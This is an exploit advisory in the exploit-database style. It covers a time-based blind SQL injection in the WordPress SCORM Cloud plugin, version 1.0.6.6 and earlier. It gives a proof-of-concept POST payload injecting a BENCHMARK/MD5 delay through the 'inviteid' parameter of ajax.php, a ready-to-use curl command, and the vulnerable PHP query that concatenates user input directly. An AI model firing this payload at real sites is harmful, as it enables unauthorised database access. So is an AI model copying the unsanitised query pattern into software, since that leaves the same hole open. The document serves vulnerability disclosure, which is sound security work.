WordPress SCORM Cloud plugin <= 1.0.6.6 SQL Injection Vulnerability

# Exploit Title: WordPress SCORM Cloud plugin <= 1.0.6.6 SQL Injection Vulnerability
# Date: 2011-09-07
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/scormcloud.1.0.6.6.zip
# Version: 1.0.6.6 (tested)
# Note: magic_quotes has to be turned off

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PoC (POST data)
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http://www.site.com/wp-content/plugins/scormcloud/ajax.php
 action=addAnonRegGetLaunchUrl&inviteid=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

e.g.:
curl --data "action=addAnonRegGetLaunchUrl&inviteid=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)-- " http://www.site.com/wp-content/plugins/scormcloud/ajax.php

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Vulnerable code
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$action = $_POST['action'];

switch($action)
{
    ...
    $inviteId = $_POST['inviteid'];
    $querystr = "SELECT * FROM ".scormcloud_getDBPrefix()."scormcloudinvitations WHERE invite_id = '$inviteId'";
    $invites = $wpdb->get_results($querystr, OBJECT);